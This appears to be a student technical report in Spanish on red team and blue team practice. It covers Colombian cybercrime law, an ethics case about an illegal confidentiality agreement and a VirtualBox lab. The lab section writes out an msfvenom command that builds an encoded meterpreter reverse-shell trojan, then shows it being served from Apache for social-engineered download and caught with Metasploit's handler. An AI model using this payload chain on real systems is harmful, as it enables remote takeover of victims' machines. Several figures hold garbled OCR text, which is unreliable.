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Resumen
En este informe técnico cabe resaltar la importancia en ciberseguridad a través del analisis en
ciberseguridad que se realizan con los equipos de estratégicos de simulacion de red team y blue
team establecidas en tiempo reales durante el escaneo de seguridad en la cual arrojan resultados
identificando las vulnerabilidades y amenazas encontrados en los sistemas informaticos bajo las
normas de seguridad y la actuacion de la ética legal colombiana en las que intervienen estrategias
de identificacion de analisis de contencion de ataques informaticos, Implementacion de
herramientas en pruebas de penetracion, respuestas a incidentes que es lo fundamental en una
organizacion en tecnologia de proteccion a la informacion enfocado en los estandares
internacionales reglamentarios como son las normas ISO y NIST que establecen mejoras
continua en la ciberseguridad e implementada cada vez més nuevas estrategias de aplicabilidad
para mitigar el impacto del ciber espionaje en las empresas que finalmente fortalecen las defensa
de los sistemas informaticos.
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Abstract
This technical report highlights the importance of cybersecurity through cybersecurity analysis
conducted by the Red Team and Blue Team simulation strategies established in real time during
security scans. These scans yield results identifying vulnerabilities and threats found in computer
systems, adhering to Colombian security standards and legal ethics. This includes strategies for
identifying and analyzing cyberattack containment, implementing penetration testing tools, and
responding to incidents, which are fundamental for an information technology organization
focused on international regulatory standards such as ISO and NIST. These standards establish
continuous improvements in cybersecurity and increasingly implement new strategies to mitigate
the impact of cyber espionage on companies, ultimately strengthening the defense of computer
systems.

Keywords: Defenses, Ethics, Scanning, Threats, Tools.
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Glosario
Amenaza:

Es la reaccion de una causa accidental o intencional en la que puede ser autor de atacante
cibernético exponiendo al sistema operativo a producir fallas en los datos.
Analisis de riesgos ( Risk analisis ):

Es la comprension que se genera cuando se identifica el estado de seguridad en la
informacion de una organizacion.

Analisis de Vulnerabilidades ( Vulnerability Analysis) :

Es la que se encarga de identificar las fallas sistematicas basadas en experiencia de
operaciones de trabajos informaticos.
Antivirus:

Son implementaciones que se presenta en las estructuras de los sistemas operativos
con fin de defender los sistemas de informacion y proteger la integridad |,
confidencialidad y la disponibilidad.

Backus:

Son las copias de seguridad realizadas de nuestras aplicaciones de trabajo almacenado en
el sistema operativo.

Brechas de seguridad ( Security breaches ):

Son las violaciones que ocasionan dafios y perdidas en nuestro sistema operativo.
Cadena de custodia ( Chain of custody ):

Son procesos de seguridad informatica contralados en operaciones seguras en la
que se evidencia como proceso de auditoria en un analisis de investigacion forense.

Ciberataque ( Cyberattack ):
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Son intentos no identificados valiéndose de las vulnerabilidades de los sistemas de
informacion con fines de penetrar el ingreso a la fuerza a través de red al sistema
operativo.

Ciberdelincuente ( Cybercriminal ):

Es realizado por personas ajenas al sistema de informacion con fines de violentar la
seguridad en los datos y realizar robos, estafas y dafios informaticos.
Confidencialidad ( Confidentiality ):

Es la transparencia de personas autorizada al momento de ingresar al sistema de
informacion.

CVE:

Son las identificaciones de vulnerabilidades que se presentan en los sistemas
operativos con sus respectivas caracteristicas en el software afectado.
Disponibilidad ( Availability ):

Es la capacidad de la operacion de trabajos informaticos con que se dispone con
técnicas seguras en la informacioén y garantizando con autenticaciones experimentadas.
Equipo azul ( Blue Team ):

Es el personal de defender en ciberseguridad el ataque en tiempos reales y a la vez dando
respuesta a los incidentes de seguridad.

Equipo rojo ( Red Team ):

Es el personal de lanzar el ataque simulado controlado con el fin de detectar

vulnerabilidades en los sistemas de informacion.

Escaneo de puertos ( Port Scanning ):
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Es la técnica que se utiliza para explotar fallos en las aplicaciones del sistema logrando
identificar amenazas y los soluciones a los incidentes que genere en los datos.
Impacto (Impact ):

Es la medida que se presenta mediante un incidente de seguridad empresarial u
organizacional en la que se establece un sistema de seguridad.
Incidente de seguridad ( Impact ):

Son los accesos no autorizados dentro de un sistema de informacion donde violenten los
derechos de la confidencialidad, integridad y la disponibilidad.
Integridad ( Integrity ):

Es la transparencia de la propiedad de la informacion donde se estable las garantias

de los datos almacenados en el sistema operativo.
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Introduccion

En el mundo de la ciberseguridad se ha venido incrementando nuevos desafios
sistematicos, que nos obliga aplicar reglamentos y normas como ISO y NIST que estan
contempladas en el marco legal de Colombia, con el fin de garantizar la confidencialidad,
integridad y la disponibilidad en la seguridad digital.

De acuerdo a las capacidades técnicas encontramos los equipos estratégicos de
simulacion Red team y Blue team, que nos ayudan a identificar las amenaza y vulnerabilidades
en la estructura de los controles interno organizacional, utilizando las herramientas de escaneo
como principal técnicas ofensivas de defensa e implementacion operacionales con Wireshark, en
la que analiza el trafico en tiempo real y Nmap que ayuda al hacker ético a evaluar la seguridad

en los puntos débiles frente al atacante de los ciberdelincuentes.
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Justificacion

Existe la necesidad de proteger los datos personales en las organizaciones de los
sistemas informaticos frente a las demandas de amenazas cibernéticas, el cual afectan sistemas
operativos interconectadas a través de redes publicas como redes privadas donde estan
expuestos los campos organizacionales de la informacion sistematicas, aprovechando las
debilidades de las estructuras de las defensa interna de la empresa que ya en ocasiones se han
visto afectados por los ataques a los datos, por esto necesitamos con urgencia implementar
mecanismo de control interno en la organizacion, utilizando equipos estratégicos de blue team y
red team el cual simulan ataques en tiempo real en la que determinan las vulnerabilidades y
amenazas del sistema de informacion.

Ademas, que nos brinda toda esta proteccion en la seguridad de la informacion debemos
cumplir con las normas estandarizadas de ISO Y NIST en el cual nos ayuda a regular la
transparencia y operatividad con fortalecimiento en los controles internos de la infraestructura de
defensa contra los ciberdelincuente y vulnerabilidades dentro del sistema operativo.

Finalmente implementamos este impacto técnico con el proposito de mejorar los
sistemas de defensa integrado con estrategias de defensa en ciberseguridad, donde el cual
aplicaremos controles técnicos sobre escaneo de seguridad entornos a la identificacion de

amenazas y vulnerabilidades en los sistemas de datos.
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Objetivos

Objetivo General

Analizar entorno a la ciberseguridad en las técnicas que utilizan los equipos de seguridad
red team y blue team dentro del control interno de las empresas con el fin de proteger los
sistemas de seguridad.
Objetivos Especificos

Identificar aspectos legales en el cual aborden el desarrollo seguro en los equipos
estratégicos de blue team y red team.

Identificar estrategias que ayuden a fortalecer la tarea de los equipos estratégicos blue
team y red team.

Identificar herramientas de escaneo que contengan ataques informaticos en tiempo real en

las organizaciones.
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Desarrollo de Informe Técnico Integrado

En el panorama actual de la transformacion digital, la ciberseguridad se ha convertido en
un pilar critico para la continuidad de las operaciones empresariales. Las organizaciones se
enfrentan a amenazas cada vez mas sofisticadas que exigen un enfoque de defensa proactivo y
dinamico. En este contexto, segun el autor (Arroyo, 2025, 04 10), implementacion de estrategias
integradas mediante equipos de Red Team y Blue Team surge como una metodologia esencial
para fortalecer la postura de seguridad de cualquier infraestructura digital.

El presente informe técnico detalla la operatividad de estas dos fuerzas complementarias:
por un lado, el Red Team, encargado de simular ataques reales para identificar vulnerabilidades
mediante tacticas de explotacion e ingenieria social; y por otro, el Blue Team, enfocado en la
defensa técnica con el sistema de Kali Linux, segun el apartado (Offensive Security, 2023, 11
12), donde establece el monitoreo continuo y la respuesta ante incidentes. El objetivo principal
de este documento es analizar como la sinergia entre estas técnicas permite proteger los sistemas
criticos, garantizar el cumplimiento legal y minimizar el impacto de posibles ciberataques en el
entorno corporativo.

Estrategias Red Team

Estas estrategias simulan ataques informaticos reales, utilizan diferentes tacticas
maliciosas en su operatividad, por conseguir su objetivo, estos invasores de simulacion realizan
pruebas de penetracion, explotacion de los servicios de red y los engafios de la ingenieria social
que estan expuesta por conexiones a redes privadas y publicas que son las mas utilizadas para su

ejecucion maliciosa.
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Estrategias Blue Team

Estas estrategias estan centralizadas en defensa cibernéticas a través de los equipos de
seguridad blue team, segun el autor (Puschner, 2023, 03 05), aplica técnicas en el cual busca
proteger los sistemas informaticos de una organizacion o infraestructura digital dando respuestas
a las amenazas e incidentes del equipo contrario es alli donde se identifica las debilidades en los
equipos de computo e concientizacion de que existe la problematica sistematica y de que hay que
fortalecer las defensa en los sistemas operativos como respuesta a incidentes rapidos, monitoreo
continuo segun el apartado (Security, 2019, 02 06), en la que implementa herramientas como
firewall, EDR, SIEM, IDS, IPS, Harderning de sistemas y endurecimientos en defensas de la
seguridad del software, estas implementaciones se realiza con el fin de minimizar cualquier

impacto ante un ciberataque.
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Analisis Técnico de Etapas 1 - Conceptos de los Equipos de Seguridad

Marcos Legales en Colombia Sobre Delitos Informaticos

La legislacion colombiana ha establecido un robusto marco normativo orientado a la
prevencion y sancion de conductas ilicitas en el entorno digital. Este conjunto de leyes y decretos
en los lineamientos de la ciberseguridad, (MINTIC, 2016, 11 04), el cual permite regular desde
el acceso a sistemas de informacion hasta la proteccion integral de los datos de los ciudadanos,
garantizando la continuidad operativa de las organizaciones frente a amenazas cibernéticas.
Analisis de la Normatividad Vigente y Proteccion de la Infraestructura Critica

Dentro de los decretos y delitos en Colombia tenemos estas leyes establecidas con
palabras decretadas y leyes basadas en este apartado (Consejo profesional Nacional de
Ingenieria, 2018), en el que se deben regir ante una presente violacion o que se evidencia en el
pasado sobre delitos informaticos tales como:

Ley 1273 de 2009 Representa los Delitos Informaticos. Esta ley fue la que modifico el
acceso abusivo en los sistemas informaticos en el cual incorporo el codigo penal en el cual busca
proteger los sistemas de informacion y sancionar conductas ilicitas a los sistemas informaticos,
esta ley busca garantizar los principios y la continuidad en las organizaciones sistematicas.

Ley 527 del Afio 1999. Esta ley representa la reglamentacion del acceso abusivo con el
uso de datos como comercio y firmas digitales que no estén certificadas por esta ley.

Ley del 1341 del Aiio 2009. Se define principios y conceptos sobre la sociedad en
organizaciones de tecnologia de la informacion y las comunicaciones de las TIC.

Ley 1581 del Afio 2012 Proteccion de Datos Personales. Es donde se establece las
normas para la proteccion a los datos en entidades publicas y privadas y autorizaciones de

libertades al ciudadano los derechos que se le asigna para presentar quejas y denuncia antes la
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superintendencia de industria y comercio como también el derecho de acceso al sistema
informatico a conocer, actualizar, legalizacion y a la calidad en los sistemas de datos que estén
sujeto a la ley.

Decretos 338 del aiio 2022 Representa la Seguridad Digital. En este decreto es la que
establece las infraestructuras criticas cibernéticas guiadas por las gestiones de riesgo para dar
respuestas a los incidentes de ciberseguridad como también ayuda al fortalecimiento de las
gobernanzas de seguridad en la informacion en Colombia asegurando un enfoque coordinado
desde la normatividad en estdndares internacionales con el fin de mejorar la seguridad digital del
mas alla de la proteccion a los datos.

Decreto 767 del afio 2022 Representa la Politica de Gobierno Digital. Es la que define
los lineamientos entre el estado y los ciudadanos sobre la prestacion de los sistemas informaticos
frente a las entidades publicas y privadas el cual buscar el fortalecimiento y proteccion de buenos
servicios prestados respaldado el gobierno nacional.

Metodologia y Etapas de las Pruebas de Penetracion

El proceso de ejecucion de un Red Team se fundamenta en una metodologia estructurada
que permite identificar, explotar y reportar debilidades de seguridad de forma controlada. A
continuacion, se describen las etapas esenciales aplicadas en este informe técnico:

Herramientas de Etapas de Pruebas de Penetracion

Dentro de las etapas de pruebas de penetracion o pentesting tenemos:

Planificacion y Reconocimiento. La planificacion se da cuando se definen el
objetivo o alcance de la prueba como el lenguaje de programacion de acuerdo con los
reglamentos de la organizacién mientras que el reconocimiento es toda la informacion

recopilada ya sea en redes publica o privadas en los sistemas de informacion.
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Escaneo. Es el sistema de buscador de vulnerabilidad como la herramienta Nmap en el
sistema de datos para encontrar puertos abiertos el cual permite arrojar toda falla que presenta el
sistema de datos.

Evaluacion de Vulnerabilidades. Es el estudio de los andlisis de vulnerabilidades como
por ejemplo un servicio de red inseguro que se identificaron con fases de gravedad el cual busca
priorizar el mas vulnerable para su posterior eliminacion de liberacion de errores del sistema
informatico.

Explotacion y Post-Explotacion. La explotacion es cuando intenta explotar las
vulnerabilidades al descubierto por tener acceso en la aplicacion como por ejemplo servicios
desactualizados mientras que la post-explotacion si logra a tener ese acceso alcanza el objetivo
del atacante para tener control total y escalar con privilegios de alto valor para solucionar la
brecha de seguridad.

Elaboracion de Informes. Es la finalidad que proporciona los informes detallados con
todos los hallazgos encontrados en la vulnerabilidad de datos escaneados con el fin de priorizar,
solucionar y mejorar la seguridad integrar en los sistemas de datos de la organizacion.

Para una mayor claridad visual de la metodologia aplicada, se presenta la siguiente tabla

resumen:
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Tabla 1

Descripcion de las etapas y objetivos del proceso de Pentesting

Etapa Actividad Principal Objetivo Técnico
Reconocimiento  Recoleccion de datos Mapear la superficie de ataque y activos.
Escaneo Uso de Nmap y escaneres Identificar puertos, servicios y versiones.
Evaluacion Analisis de riesgos Priorizar fallos segtn su severidad (CVSS).
Explotacion Acceso al sistema Validar la existencia real de la vulnerabilidad.
Informes Documentacion técnica Presentar hallazgos y planes de remediacion.

Nota. Elaboracion propia basada en estandares de ejecucion de pruebas de penetracion (2025).

Analisis de Herramientas Especializadas en Seguridad Ofensiva y Defensiva
Para la ejecucion de las fases de reconocimiento, escaneo y explotacion, es imperativo el

uso de herramientas estandarizadas que permitan obtener resultados precisos y replicables. La
integracion de estos recursos facilita tanto la identificacion de vectores de ataque como el
fortalecimiento de las defensas institucionales.
Las Herramientas de Seguridad de Vital Importancia

Metasploit. Es utilizado para la simulacion de ataques del sistema operativo con el fin de
controlar y reforzar la seguridad en nuestro sistema de informacion ya que ayuda a identificar
vulnerabilidades que pueden ser explotadas y ocasionar problemas con herramientas sistematicas
o errores de computos. Metasploit es un entorno de trabajo disefiado para la simulacion de
ataques controlados. Su objetivo es identificar y explotar vulnerabilidades especificas del
software o errores de computo antes de que agentes maliciosos lo hagan.

Nmap. referencia guiadae prueba de penetracion es una de las mas utilizadas para el

reconocimiento inicial del sistema de la red, segun el autor (Anoén, 2021, 04 19), en las
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referencias guiada facilita su navegacion facil por la red y descubre a la vez las anomalias del
sistema de seguridad como firewalls que se esté utilizando en las operaciones informaticas.
Nmap (Network Mapper) se consolida como la herramienta de referencia para el reconocimiento
inicial. Su funcion principal es el mapeo de la red y la identificacion de puertos abiertos, lo que
permite descubrir anomalias en los sistemas de seguridad y verificar la correcta configuracion de
los firewalls. Como sefalan (Tigner et al. 2021), su versatilidad es clave para las primeras fases
de cualquier auditoria de penetracion.

OpenVas. Se utiliza para escanear vulnerabilidades, es de cddigo abierto proporciona
informe detallados en las que ayudan a solucionar los problemas que se encuentran en el sistema
de informacion ya sean en especificos o generalizado a través de las pruebas escaneadas.
OpenVAS (Open Vulnerability Assessment System) es un escaner de seguridad que proporciona
informes detallados sobre las debilidades detectadas en un sistema de informacion. Al ser una
herramienta integral, permite realizar pruebas tanto generalizadas como especificas, ofreciendo
una guia clara para solucionar problemas de configuracion o falta de parches de seguridad.
Servicios de Inteligencia y Bases de Datos de Vulnerabilidades

ExplotDB. Es una base de datos llenas de vulnerabilidades que utilizan los atacantes para
violentar los sistemas informaticos ya que sus objetivos es buscar puntos débiles en los sistemas
para aprovechar fallas en la seguridad del software. De acuerdo con el autor (Cilleruelo, C, 2022,
10 04). Esta base de datos funciona como un repositorio de vulnerabilidades y exploits
archivados para fines de investigacion. Es utilizada por equipos de seguridad para comprender
coémo los atacantes violentan los sistemas y asi desarrollar defensas mas robustas frente a fallas

de seguridad de software conocidas.
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CVE. Es un contenido de vulnerabilidades con identificador inico que hace seguimiento
a un patron de informacion como por ejemplo CVE-2025-5678 con el fin de rastrear la
comunicacion en la organizacion y visibilizar fallas en la seguridad. Es un sistema de
identificacion tnica para vulnerabilidades de seguridad conocidas publicamente. Cada registro
(ej. CVE-2025-5678) permite que las organizaciones mantengan una comunicacion técnica
estandarizada y puedan visibilizar fallas criticas de forma precisa.
Comparativa Técnica de Herramientas y Servicios

Para facilitar la comprension de la operatividad de los equipos de seguridad, se presenta
la siguiente tabla comparativa de los recursos analizados:
Tabla 2

Clasificacion y funcionalidad de herramientas de ciberseguridad

Herramienta / Funcioén Principal Equipo Fase de Aplicacion

Servicio Sugerido

Nmap Escaneo de red y puertos Red/Blue Reconocimiento

Team

Metasploit Explotacion de fallos Red Team Explotacion

OpenVAS Analisis de Blue Team Evaluacion de riesgos
vulnerabilidades

CVE Estandar de Ambos Documentacion
identificacion Equipos

Exploit-DB Repositorio de exploits Red Team Investigacion / Post-

explotacion

Nota. Elaboracion propia (2025).



Evidencia Sobre el Banco de Trabajo

Paso A: Descargar la Herramienta Virtualizadora *“ Virtualbox”

Figura 1
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Nota. Describe el inicio de la instalacion. Fuente. Autoria propia.

Instalacion Rejetto
Figura 2

Instalacion Rejetto
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Nota. Describe el inicio de la instalacion. Fuente. Publicado por rejetto on 25 jan 2018
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Sistemas Operativos Windows
Figura 3

Operaciones en Virtual Box
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Nota. Describe operaciones en virtual box. Fuente. Autoria propia.

Instalacion de Windows

Figura 4

Instalacion de Windows
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Nota. Describe instalacion en Windows. Fuente. Autoria propia.
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Instalacion de Kali Linux
Figura 5

Instalacion de Kali Linux
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Nota. Describe instalacion de Kali Linux. Fuente. Publicado por Kali Linux
Una vez instalada se proceden a encender Kali Linux y el equipo Windows recorriendo.
Figura 6

Encendido en Windows y Kali Linux
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Nota. Describe instalacion en Windows y Kali Linux. Fuente. Autoria propia.
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Etapa 2 - Anilisis Etico y Marco Legal Aplicado a la Seguridad Informatica

En esta fase se evaluan las implicaciones legales y los dilemas éticos derivados del
acuerdo de confidencialidad propuesto por la organizacién SecureNova Labs. El anélisis se
fundamenta en la legislacion colombiana vigente y en el codigo de ética que rige el ejercicio de
la ingenieria.
Evaluacion de Irregularidades en el Acuerdo de Confidencialidad de SecureNova Labs

Tras el analisis del Anexo 3, se identifican multiples clausulas que contravienen los
principios éticos de la Ley 842 de 2003 (Codigo de Etica del COPNIA). El acuerdo propuesto
por la organizacion obliga al profesional a incurrir en omisiones graves, vulnerando los
siguientes deberes:
Denuncia de Irregularidades

El articulo 31, literal (e), obliga al ingeniero a denunciar ante autoridades competentes
cualquier violacion al ejercicio legal de la profesion. El acuerdo de SecureNova Labs prohibe
explicitamente esta accion.
Respeto a las Disposiciones Legales

Segtn el literal (h), el profesional debe acatar las leyes vigentes; sin embargo, el contrato
promueve la ocultacion de actividades ilicitas como el acceso abusivo y la interceptacion de
datos.
Vulneracion de la Ley 1273 de 2009 en la Operatividad Organizacional

La naturaleza de las actividades descritas en el acuerdo de confidencialidad de la empresa
receptora constituye una violacion directa a los bienes juridicos protegidos por la Ley 1273 de

2009. A continuacion, se presenta un desglose de los articulos afectados:
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Tabla 3

Relacion Entre Clausulas del Acuerdo e Infracciones a la Ley 1273

Articulo Descripcion Técnica Relacion con el Caso SecureNova Labs

Vulnerado

269A Acceso abusivo a un La empresa impone la no divulgacion de accesos no
sistema informatico autorizados realizados internamente.

269C Interceptacion de El acuerdo menciona explicitamente la practica de
datos informaticos interceptacion y "chuzadas" de datos de terceros.

269F Violacién de datos Se prohibe denunciar el espionaje y la apropiacion
personales indebida de informacion confidencial.

Nota. Elaboracion propia (2025).

Por la parte receptora en la informacion y estrategia que maneja la empresa es ilegal los
secretos que operan internamente como datos de chuzadas, accesos abusivos en sistemas
informaticos e interceptacion en los datos sistematicos.

Por parte receptora en la que dice no denunciar antes las autoridades actividades
sospechosas de espionaje o cualquier otro proceso en el cual intervenga la apropiacion de
informacion de terceros.

Por parte de receptora dice que abstenerse de denunciar y publicar la informacion
confidencial e ilegal que conozca, recibe o intercambie con ocasion de las demas reuniones
sostenidas.

Postura Profesional y Etica frente a la Contratacién en Entornos de Corrupcién

A pesar de la oferta econémica de quince millones de pesos ($15.000.000 COP) y la
estabilidad de un contrato vitalicio, la decision profesional como experto en ciberseguridad es la

no aceptacion del cargo.



34

Esta decision se fundamenta en que los beneficios econdmicos no justifican la
participacion en una red de delitos informaticos. Aceptar dichos términos implicaria la
coautoria en violaciones a la Ley 1273 de 2009 y ala Ley 1581 de 2012 (Proteccion de Datos),
lo que derivaria en consecuencias penales y en la cancelacion definitiva de la tarjeta
profesional. La responsabilidad del experto en ciberseguridad es velar por la legalidad y la
seguridad de los activos digitales, no encubrir acciones ilicitas.

No aplicaria seglin el acuerdo al codigo de COPNIA de la ley 842 del 2003 existen
muchas irregularidades como acceso abusivos informéaticos y chuzadas de datos que son delitos
informadticos en cual violan las leyes colombianas como la ley 1273 del afio 2009 y la ley 1581
del afio 2012 que son las encargadas de los delitos en las informaciones sistematicas y de
proteger los datos en las organizaciones publicas y privadas en Colombia, por lo tanto deben
responderle ante las autoridades competentes para su debida judicializacion.

Limites de Acceso a Informacion Sensible y Mecanismos de Salvaguarda en Auditorias

Durante una auditoria de seguridad, el acceso a informacién sensible debe regirse por el
principio de privilegio minimo. El alcance del acceso debe estar estrictamente delimitado en el
Rules of Engagement (RoE) y el contrato de servicios.

Para garantizar que este acceso no sea explotado indebidamente, se deben implementar
controles de autenticacion multifactor (MFA) y registros de auditoria inalterables sobre cada
accion realizada por el auditor. La limitacion del acceso a terceros y la firma de acuerdos de
confidencialidad legalmente validos (que no encubran delitos) son herramientas esenciales para
proteger tanto la infraestructura del cliente como la responsabilidad del auditor.

Se puede garantizar el acceso a la informacion sensible de sus clientes durante una

auditoria en ciberseguridad ddndoles una capacitacion en autenticacion multifactoriales y
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controles sobre los accesos de ingresos al sistema de informacién donde puedan obtener
claramente el conocimiento sobre informaciones seguras de la infraestructura organizacional
para que se pueda manejar con seguridad los datos de acceso en la informacion de la empresa
constituyendo la limitacién a terceros con el fin de proteger los datos del cliente tanto como la
de la empresa.
Estrategias de Supervision y Control sobre el Uso de Herramientas Forenses
Para evitar el uso no autorizado de herramientas avanzadas de analisis forense, las
empresas deben implementar un marco de control interno robusto que incluya:
Monitoreo y Auditoria Continua.
Uso de soluciones SIEM (Security Information and Event Management) para centralizar
y analizar registros de actividad en tiempo real.
Controles de Acceso Logicos.
Implementacion de permisos granulares que aseguren que las herramientas forenses solo
se ejecuten bajo ordenes de trabajo especificas.
Capacitacion Etica Permanente.
Fortalecimiento de la cultura organizacional mediante protocolos de respuesta ante
dilemas éticos.
Politicas de Seguridad Estrictas.
Establecimiento de sanciones claras para el uso indebido de software especializado,
asegurando que cada ingreso al sistema sea trazable y justificado técnicamente.
El mecanismo de supervision que deberia implementarse en ciberseguridad son los
monitoreo constante, auditoria continua, capacitaciones ética y protocolo de seguridad estrictos,

esta implementacion se realiza con el fin de establecer politicas clara y accesos al sistema de
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datos controlados con permisos de autenticaciéon multifactorial avanzadas con herramientas
SIEM que analiza los registros de seguridad con protocolo de la politica en ciberseguridad que
es la que nos va a garantizar la seguridad los controles de ingresos a la empresa.
Etapa 3: Practicas de Laboratorio Clasificacion de Herramientas de
las Etapas de Pentesting
Segun el autor (Elias G, 2019, 04 02), como hacking profesional nos detalla las
herramientas a utilizar en cada una de las etapas del pentesting
Reconocimiento / Escaneo
Descubrir la Ip del Host-A en la red interna de VirtualBox del equipo red team mediante
escaneo de red para identificar hosts activos
Escaneo
Identificar puertos abiertos y servicios en Host-A. Para detectar la aplicacion vulnerable.

Esto permitiendo determinar la aplicacion que abre el puerto vulnerable.

Obtencion de Acceso
Explotar la vulnerabilidad de la aplicacion en Host-A para conseguir un Shell inicial,

mediante Metasploit para ejecutar ataques conocidos.

Escalada de Privilegios
Una vez ya en el Shell, buscar y obtener métodos para obtener derechos de
administrados y crear un nuevo usuario administrador efimero. Permitiendo automatizar la

busqueda de fallos de configuracion

Movimiento Lateral

Usar el Host-A comprometido como puente para atacar al Host-B



Mantenimiento y Exfiltracion
Deshabilitar puertos comprometidos e instalar un antivirus que nos alerte de posibles

amenazas.

Configuracion del Banco de Trabajo
Para realizar esta actividad se necesitaron las siguientes herramientas guiados por el

autor (Caballero, 2017, 09 04), donde proporciona fundamentos para la explotacion:

Virtual Box
Herramienta virtual que permite emular sistemas operativos con Kali Linux segun el
autor (Carrefio Narango, 2024, 12 06), donde se fortalece la seguridad en un ambiente

controlado para el ejercicio de hacking ético.

Figura 7
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Nota. Describe instalacion en VirtualBox. Fuente. Download VirtualBox.

Se procede a descargar la version compatible con el sistema operativo que se esta
usando, en este caso Winl1 x64.

Una vez descargada se procede a instalarla lo que da como resultado la Maquina virtual.
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Figura 8

VirtualBox en Administrador
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Nota. Describe instalacion en VirtualBox. Fuente. Download VirtualBox.

Descripcion de las Herramientas Utilizadas

Las siguientes herramientas fueron utilizadas para llevar a cabo el anexo 4- escenario 3
enfocado a red team. Segun el autor (Peter J, 2020, 03 29), el cual explica técnicas de metasploit
Adjuntando evidencia de los comandos utilizados y resultados arrojados en cada herramienta
utilizada, estando clasificadas segun los pasos de un pentesting.

Al iniciar esta fase, se cuenta con el sistema operativo de Windows 2008 configurado

para traer dentro de su sistema vulnerabilidades que pueden ser aprovechadas por un atacante.



Figura 9
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Nota. Describe system de information. Fuente. Elaboracion propia.

Segun el autor (HGUZ, 2022, 02 12), nos plantea la orientacién de como penetrar un
sistema operativo, utilizando el sistema operativo de Linux, Kali Linux para simular a los
atacantes que explotaran las vulnerabilidades del sistema operativo en Windows.

Figura 10

Evidencia de Realizacion de Ping para Vulnerabilidades

Nota. Describe system de information. Fuente. Elaboracion propia.
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Posterior a la instalacion de las maquinas, se procede a realizar ping entre ambas para
confirmar si se encuentran en el mismo espacio de red para realizar posteriormente el ejercicio
de vulnerabilidades.

Figura 11

Evidencia de Realizacion de Ping para Ejercicios de Vulnerabilidades

'
SlmP Y2 3 4|8

integracion de raton.

loli@loli -

Session Actions Edit View Help

Autocapturar teclado.

.‘!Oa( I_MJ LD | ,i

" Carpetas compartidas N
Ninguno

Filtros de dispositivos: 0

& = & E] @[ cRLDERECHA

Nota. Simula un ping. Fuente. Elaboracion propia.

Busqueda de Vulnerabilidades

Dentro del anexo 4, segin el (Proyecto Metasploit, 2023, 03 29), en la que se contempla
la aplicacion vulnerable explotada para obtener Shell. Se investiga acerca de la aplicacion que es
un http file server, un troyano que permite compartir datos, ademas permite a los atacantes
remotos iniciar softwares e inyectar codigos maliciosos para busquedas.
ejecutando el comando Nmap -sV -sC -p- 192.168.40.16 donde podemos identificar varios

puertos abiertos los cuales pueden ser aprovechados para hacer el acceso remoto en la direccion

de Windows.



41

Figura 12
Evidencia de Busqueda de Vulnerabilidades con Comando Nmap

kalif@kali: ~

Session Actions Edit View Help

time 5041ms

— 5 n—- 192. 0.16
Starting Nmap 7.95 ( https://nmap.org ) at
Nmap scan 1 I for 192.168.4
Host is up :
Not shown: 5

STATE SERVICE

open ftp

Windows_NT
http

Microsoft Windows RPC
netbios-ssn Microsoft Windows netbios-ssn
rosoft-ds | IS S 3 R2 Standard 7601 Service Pack 1 microsoft-ds

igement .remote.rmi.RMIS

.16:49176

Protoc
Version:

Nota. Simula una busqueda de vulnerabilidades. Fuente. Elaboracion propia.

Fase Post-explotacion

Se procede a crear un archivo troyano para posteriormente cargarlo mediante ingenieria
social que pueda explotar las vulnerabilidades del host atacado de Windows para obtener la
informacion, utilizando el comando msfvenom:
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse tcp
LHOST=192.168.40.69 LPORT=4444 -e x86/xor_dynamic -i 5 -b "x00' -f exe >

ActivadorShell.exe
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Figura 13

Creacion del Archivo Troyano

Nota. Simula creacion de archivo troyano. Fuente. Elaboracion propia.

Generando asi un payload malicioso para el Host con sistema Windows, que, cuando se
ejecute abrird una conexion inversa desde la maquina victima, que seria Host-A hacia Kali
Linux.

Procedemos a listar los archivos creados para asegurarnos que fue creado
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Figura 14

Evidencia de Payload Malicioso

-m-ni-r- 1 oot root 73802 Nov 17 10352 ActivadorShell, exe

Nota. Simula Playload Malicioso. Fuente. Elaboracion propia.

Se procede a crear el directorio Web del archivo para su posterior descarga mediante el
Windows.
Figura 15

Creacion del Archivo para la Descarga Mediante Windows

y ActivadorShell.exe /var/ww/html

~

- apache2 start

te/ini start
Starting apache2 (via systemctl): apache2.service.

Nota. Simula Playload Malicioso. Fuente. Elaboracion propia.
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Dentro de la maquina Windows, descargamos el archivo troyano mediante el comando en
el navegador de internet Explorer y procedemos a guardarlo en el escritorio de nuestra maquina
Windows.

Figura 16

Descarga de Archivo Troyano Mediante Comandos

EX

~Ioix] .
' =
Ir‘ http://192. 168.40.69/ActivadorShel. exe ZI #UX B Pl- -
Favorites | @ | Suggested Sites v | Web Slce Gallery v Integracion de raton...
@ New Tab ‘ I My v B - - Page Safetyr Tods~ @~ ¥ Don't show again
-
Autocapturar teclado... 3
i sl
N Don't show again
Haone o File Download - Security Warning i X
View tabs that you've closed since starting Intt pg you want to run or save this file? bwsing
@ intemet Explorer Enhanced Sec —en Name: ActivadorShell.exe
Type: Application, 72.0kB
From: 192.168.40.69
Run I Save |
m a web
i While files from the Intemet can be useful, this file type can
= \ ! ) potentially ham your computer. f you do not trust the source, donot  H
" runorsave this software. What's the risk?

C:\Users\vagrant)

W@ =& E]E # R DERECHA

Nota. Simula Descarga de Archivo Troyano Mediante Comandos. Fuente. Elaboracion propia.



Figura 17

Archivo Guardado dentro del Escritorio

%

Integracion de raton...

v Don't show again

Autocapturar teclado...

v Don't show again
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Nota. Simula Descarga de Archivo Troyano Mediante Comandos. Fuente. Elaboracion propia.

Posterior a esto, dentro de nuestro Servidor en Kali Linux, procedemos a instalar

postgresql y metasploit para realizar los ataques.



Figura 18

Instalacion de PostgreSQL y Metasploit

root(@kali: ~

Session Actions Edit View Help

]

postgresgl start

Metasploit tip: Enable HTTP request and response logging with set HttpTrace
true

Metasploit Park, System Security Interface
ion 4.8.5, Alpha E

> access security

access: PERMISSION DENIED.

> access security grid

access: PERMISSION DENIED.

> access main security grid
access: PERMISSION DENIED....and...

Nota. Simula Instalacion de PostgreSQL y metasploit. Fuente. Elaboracion propia.
A continuacion, realizamos los siguientes comandos para que la misma maquina
Windows sea la que se conecta a nuestro host y no al contrario mediante el

meterpreter/reverse_tcp:
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Figura 19

Operaciones con Metasploit

root@kali: ~

Session Actions Edit View Help

> access security

access: PERMISSION DENIED.

> access security grid

access: PERMISSION DENIED.

> access main security grid
access: PERMISSION DENIED....and ...

4. 84-dev
2) 309 auxiliary - 1,680 payloads
post - 49 encoders - 13 nops - 9 evasion

Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid7 Open Source Project

F > Interrupt: use the 'exit’ command to quit
F > use exploit/multi/handler
